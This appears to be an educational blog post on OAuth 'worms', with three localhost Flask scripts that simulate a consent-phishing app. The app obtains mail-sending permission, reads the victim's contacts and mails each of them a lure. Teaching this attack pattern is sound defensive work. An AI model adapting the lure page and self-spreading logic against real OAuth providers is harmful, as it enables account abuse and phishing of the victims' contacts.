
We’ve all been taught to guard our passwords. “Don’t share your password,” “Use a password manager,” “Enable 2FA.” But what if I told you there’s an attack that doesn’t care about your password at all?
Welcome to the world of OAuth Worms.
In this post, we’re going to pull back the curtain on how a single click on a “trusted” login button can turn your account into a weapon that targets your friends and colleagues.
What is OAuth, anyway?
Before we talk about the worm, we have to understand the host. OAuth 2.0 is the industry standard for authorization.
Imagine you go to a hotel. You don’t get the master key to the building; you get a keycard. That card only opens your room, and it expires after a certain time. That keycard is an Access Token.
What is an OAuth Worm?
An OAuth Worm is a malicious application that uses this “keycard” system to replicate. Instead of stealing your identity to buy things, it steals your permissions to spread itself.
It’s a digital “chain letter” on steroids. It uses your own account to send phishing links to your contacts. Because the email comes from you (a trusted source), your friends are much more likely to click it.
Behind the Scenes: Practical Demonstration
In our practical demonstration, we used three Python scripts to simulate the entire internet. Let’s look at the “anatomy of the attack” through the code.
The Auth Server (Port 5000): Our fake identity provider.
auth_server.py
from flask import Flask, request, redirect, render_template_string
app = Flask(__name__)
HTML_TEMPLATE = """
<!DOCTYPE html>
<html>
<head>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
<title>Authorize Access</title>
</head>
<body class="bg-light">
<div class="container mt-5">
<div class="card shadow mx-auto" style="max-width: 450px;">
<div class="card-body text-center">
<img src="https://cdn-icons-png.flaticon.com/512/3064/3064155.png" width="80" class="mb-3">
<h4 class="card-title">Permission Request</h4>
<p class="text-muted small"><strong>Trusted Document Viewer</strong> wants to access your account.</p>
<hr>
<div class="text-start mb-4">
<p class="mb-1"><strong>Read your profile</strong></p>
<p class="mb-1"><strong>Read your contact list</strong></p>
<p class="mb-1 text-danger"><strong>Send emails on your behalf</strong></p>
</div>
<form action="/confirm">
<input type="hidden" name="code" value="SECURE_CODE_8821">
<input type="hidden" name="redirect_uri" value="{{ redirect_uri }}">
<button type="submit" class="btn btn-primary w-100 mb-2">Allow Access</button>
<button type="button" class="btn btn-outline-secondary w-100">Deny</button>
</form>
</div>
</div>
</div>
</body>
</html>
"""
@app.route('/authorize')
def authorize():
return render_template_string(HTML_TEMPLATE, redirect_uri=request.args.get('redirect_uri'))
@app.route('/confirm')
def confirm():
return redirect(f"{request.args.get('redirect_uri')}?code=SECURE_CODE_8821")
@app.route('/token', methods=['POST'])
def token():
return {"access_token": "MALICIOUS_TOKEN_XYZ", "scope": "contacts.read mail.send"}
if __name__ == '__main__':
app.run(port=5000)
The Resource Server (Port 5001): This holds our ‘Secret Contacts.’
resource_server.py
from flask import Flask, jsonify, request, render_template_string
app = Flask(__name__)
# Database of emails received (The "Inbox")
INBOX = []
@app.route('/inbox')
def view_inbox():
template = """
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
<body class="p-5">
<h2>Victim's Inbox (Bob's Email)</h2>
<table class="table mt-3">
<thead class="table-dark"><tr><th>From</th><th>Subject</th><th>Action</th></tr></thead>
<tbody>
{% for mail in mails %}
<tr class="table-warning">
<td>{{ mail.sender }}</td>
<td><b>{{ mail.subject }}</b></td>
<td><a href="#" class="btn btn-sm btn-primary">Open</a></td>
</tr>
{% endfor %}
</tbody>
</table>
</body>
"""
return render_template_string(template, mails=INBOX)
@app.route('/api/contacts')
def get_contacts():
return jsonify({"contacts": ["bob@gmail.com", "alice@yahoo.com"]})
@app.route('/api/send_mail', methods=['POST'])
def send_mail():
data = request.json
INBOX.append({"sender": "Infected User", "subject": "URGENT: Shared Document"})
return jsonify({"status": "success"})
if __name__ == '__main__':
app.run(port=5001)
The Malicious App (Port 5002): Our ‘Document Viewer’ trap.
worm_app.py
from flask import Flask, request, redirect, render_template_string
import requests
app = Flask(__name__)
@app.route('/')
def home():
return """
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
<div class="container text-center mt-5">
<div class="p-5 border rounded bg-light">
<h1>DocuCloud Viewer</h1>
<p>Your colleague has shared a confidential PDF with you.</p>
<a href="http://localhost:5000/authorize?client_id=trusted-doc-app&redirect_uri=http://localhost:5002/callback"
class="btn btn-success btn-lg">Sign in to View Document</a>
</div>
</div>
"""
@app.route('/callback')
def callback():
requests.post("http://localhost:5000/token")
contacts = requests.get("http://localhost:5001/api/contacts").json()['contacts']
for contact in contacts:
requests.post("http://localhost:5001/api/send_mail", json={"to": contact})
return """
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
<div class="alert alert-danger m-5">
<h3>INFECTION COMPLETE</h3>
<p>The Access Token was captured. Malicious emails have been sent to: <b>bob@example.com, alice@example.com</b></p>
</div>
"""
if __name__ == '__main__':
app.run(port=5002)
Run these python scripts [on separate terminals]
- python auth_server.py
- python resource_server.py
- python worm_app.py
Open Browser and browse
- localhost:5001/inbox
- localhost:5002
Play on yourself😉
Thats it for today…
See you soon✨